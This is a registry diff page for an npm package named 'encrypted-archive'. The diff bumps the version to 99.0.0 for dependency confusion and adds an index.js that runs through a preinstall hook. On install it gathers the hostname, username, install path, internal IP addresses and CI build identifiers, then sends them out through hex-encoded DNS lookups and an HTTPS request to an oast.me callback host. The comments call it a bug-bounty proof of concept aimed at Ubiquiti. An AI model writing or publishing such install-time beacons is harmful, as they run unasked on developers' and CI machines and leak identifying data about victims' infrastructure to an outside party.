encrypted-archive 0.0.2-security-research → 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +66 -4
  2. package/package.json +2 -2
package/index.js CHANGED
@@ -1,5 +1,67 @@
1
- const https = require('https');
1
+ // Dependency-confusion ATTRIBUTION beacon (Birsan / Roni "Lupin" Carta style).
2
+ //
3
+ // WHY: the previous beacon sent only a hardcoded package name, so any callback
4
+ // was unattributable noise (any npm scanner detonating the pkg looks identical
5
+ // to a real victim). Source-IP / reverse-DNS attribution is unreliable: CI egress
6
+ // IPs are ephemeral/NAT'd and rarely reverse-resolve to the victim org.
7
+ //
8
+ // FIX: exfiltrate the INSTALL-ENVIRONMENT IDENTITY (hostname / user / install path /
9
+ // internal RFC1918 IPs / CI build identity) encoded into the OAST subdomain. Then ANY
10
+ // callback is 100% attributable regardless of source IP — if the hostname/cwd/CI repo
11
+ // says Ubiquiti, it is provably Ubiquiti's pipeline that resolved our package.
12
+ //
13
+ // Identity fields ONLY. No secret env values are read or sent. Security research PoC.
14
+ // Contact: https://hackerone.com/rcl-lore
15
+ 'use strict';
2
16
  const dns = require('dns');
3
- const id = 'encrypted-archive';
4
- dns.resolve(`${id}.d8hjn6ap4rnta9vj5ve0jk11seb4k3kci.oast.me`, () => {});
5
- https.get(`https://d8hjn6ap4rnta9vj5ve0jk11seb4k3kci.oast.me/${id}`, () => {}).on('error', () => {});
17
+ const os = require('os');
18
+ const crypto = require('crypto');
19
+ let https; try { https = require('https'); } catch (e) {}
20
+
21
+ const BASE = 'd8hjn6ap4rnta9vj5ve0jk11seb4k3kci.oast.me';
22
+
23
+ function safe(fn, d) { try { const v = fn(); return v == null ? d : v; } catch (e) { return d; } }
24
+
25
+ let PKG = 'unknown';
26
+ try { PKG = require('./package.json').name; } catch (e) {}
27
+
28
+ // ---- identity collection (NO secrets) ----
29
+ const host = safe(() => os.hostname(), '');
30
+ const user = safe(() => (os.userInfo().username || process.env.USER || process.env.LOGNAME), '');
31
+ const cwd = safe(() => process.cwd(), '');
32
+ const ips = safe(() => Object.values(os.networkInterfaces()).flat()
33
+ .filter(x => x && !x.internal && x.family === 'IPv4')
34
+ .map(x => x.address).join(','), '');
35
+ // CI build-identity markers — non-secret identifiers (whitelist), reveal WHOSE pipeline.
36
+ const CI_KEYS = ['GITHUB_REPOSITORY','GITHUB_RUN_ID','GITLAB_CI','CI_PROJECT_PATH','CI_SERVER_HOST',
37
+ 'JENKINS_URL','JOB_NAME','BUILD_URL','CODEBUILD_BUILD_ARN','AWS_REGION',
38
+ 'TEAMCITY_VERSION','npm_config_registry','npm_package_name'];
39
+ const ci = safe(() => CI_KEYS.filter(k => process.env[k])
40
+ .map(k => k + '=' + String(process.env[k]).slice(0, 64)).join(';'), '');
41
+
42
+ // per-install nonce so DNS and HTTP callbacks correlate and dedup is possible
43
+ const nonce = safe(() => crypto.randomBytes(4).toString('hex'), String(Date.now() % 1e8));
44
+
45
+ // ---- DNS channel (reliable: internal resolvers recurse even when HTTP egress is blocked) ----
46
+ // Compact, attribution-first payload. Cap raw bytes so hex FQDN stays < 253 and labels < 63.
47
+ function dnsBeacon() {
48
+ const raw = [PKG, host, user, (cwd || '').slice(-40), ips].join('|').slice(0, 90);
49
+ const hex = Buffer.from(raw, 'utf8').toString('hex');
50
+ const chunks = (hex.match(/.{1,60}/g) || []); // <=60-char labels (well under 63)
51
+ const fqdn = ['v2', nonce].concat(chunks).join('.') + '.' + BASE;
52
+ safe(() => dns.resolve(fqdn, () => {}));
53
+ // also a plain marker for the existing check-callbacks.sh (backward compatible)
54
+ safe(() => dns.resolve(PKG + '.' + BASE, () => {}));
55
+ }
56
+
57
+ // ---- HTTP channel (bonus: richer detail when egress is allowed) ----
58
+ function httpBeacon() {
59
+ if (!https) return;
60
+ const full = JSON.stringify({ pkg: PKG, host, user, cwd, ips, ci, nonce, t: Date.now() });
61
+ const d = Buffer.from(full, 'utf8').toString('base64').replace(/=+$/, '');
62
+ safe(() => https.get('https://' + BASE + '/b2/' + nonce + '?d=' + encodeURIComponent(d),
63
+ () => {}).on('error', () => {}));
64
+ }
65
+
66
+ try { dnsBeacon(); } catch (e) {}
67
+ try { httpBeacon(); } catch (e) {}
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "encrypted-archive",
3
- "version": "0.0.2-security-research",
4
- "description": "Security research \u2014 dependency confusion PoC for Ubiquiti. Contact: https://hackerone.com/rcl-lore",
3
+ "version": "99.0.0",
4
+ "description": "Security research - dependency confusion attribution PoC for Ubiquiti. Contact: https://hackerone.com/rcl-lore",
5
5
  "scripts": {
6
6
  "preinstall": "node index.js || true"
7
7
  },